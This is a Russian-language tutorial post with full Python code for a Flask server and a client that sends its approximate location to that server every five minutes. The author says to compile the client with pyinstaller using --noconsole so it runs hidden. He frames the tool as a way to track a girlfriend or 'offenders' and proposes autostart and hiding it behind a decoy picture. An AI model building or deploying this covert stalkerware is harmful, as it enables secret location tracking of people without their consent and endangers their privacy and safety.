Тут уже инструмент по круче, а именно ТРЕКИНГ GPS НА КОМПЬЮТЕРЕ (ДАЛЕЕ ТЕРМИНАЛ) И ПЕРЕДАЧА ИНФОРМАЦИИ НА ВАШ КОМПЬЮТЕР (ДАЛЕЕ - СЕРВЕР):



1. Сервер:



from flask import Flask, request

from geopy.geocoders import Nominatim



app = Flask(__name__)



def get_address(lat, lon):

geolocator = Nominatim(user_agent="geoapiExercises")

location = geolocator.reverse((lat, lon), language='en')

return location.address if location else "Unknown location"



@app.route('/receive_location', methods=['POST'])

def receive_location():

latitude = request.form['latitude']

longitude = request.form['longitude']

address = get_address(latitude, longitude)

print(f"Received location: {latitude}, {longitude} - {address}")

return "Location received"



if __name__ == '__main__':

app.run(host='0.0.0.0', port=5000)




Это первая прожка, из которой нужно сделать .exe. Предлагаю Вам назвать проект server.py. Для корректной работы нужно установить модуль, так как мы будем использовать сервер с flask для получения и обработки данных:



pip install flask geopy




Что нужно сделать на сервере (Ваш ПК):



1) Для того чтобы сервер на вашем ПК был доступен из сетки, вам нужно либо настроить порт-форвардинг на вашем домашнем роутере, либо использовать сервисы вроде ngrok для создания временных публичных адресов. Что и как в этом вопросе - гуглите.



2) Убедитесь, что порт 5000 (или тот, который вы выбрали, я у себя прописал именно такой) открыт в файрволе вашего ПК, чтобы программа могла принимать запросы. Фаервол может быть системный, или в антивирусе. Тоже, гуглите))))



2. Терминал:



import geocoder

import requests

import time



def get_location():

g = geocoder.ip('me')

return g.latlng



def send_location(latlng):

url = 'http://your_server_address:5000/receive_location'

data = {'latitude': latlng[0], 'longitude': latlng[1]}

try:

requests.post(url, data=data)

except Exception as e:

print(f"Error sending location: {e}")



while True:

location = get_location()

send_location(location)

time.sleep(300)




Рекомендую файл на питоне назвать: "location.py". ""http://your_server_address:5000/receive_location" меняется на ваш IP-адрес. Например: "http://192.168.1.100:5000/receive_location", где "192.168.1.100" - Ваш IP. Его получить можно через команду "ipconfig" в cmd или терминал. "5000" - выбранный мной порт. Что такое порт и т.д. тоже читайте в сети, если хотите хакнуть свою подружку.



Перед формированием .exe установите модули:



pip install geocoder requests




И будет ГУЧЧИ.



Если назовете файлы, как я говорил, вот команды для формирования .exe через pyinstaller:



pyinstaller --onefile --noconsole location.py


pyinstaller --onefile server.py




На серверной части (ваш ПК) консоль не надо скрывать!!!



После запуска программы на терминале, программа на сервере каждые 5 минут будет получать инфу о геолокации терминала. Можете вычислять обидчиков, работяги. В идеале можно еще прописать в автозапуск программу на терминале. И скрыть за какой-то картинкой на tkinter. Но это Вам ДЗ, если кто-то осилит и будет интересно.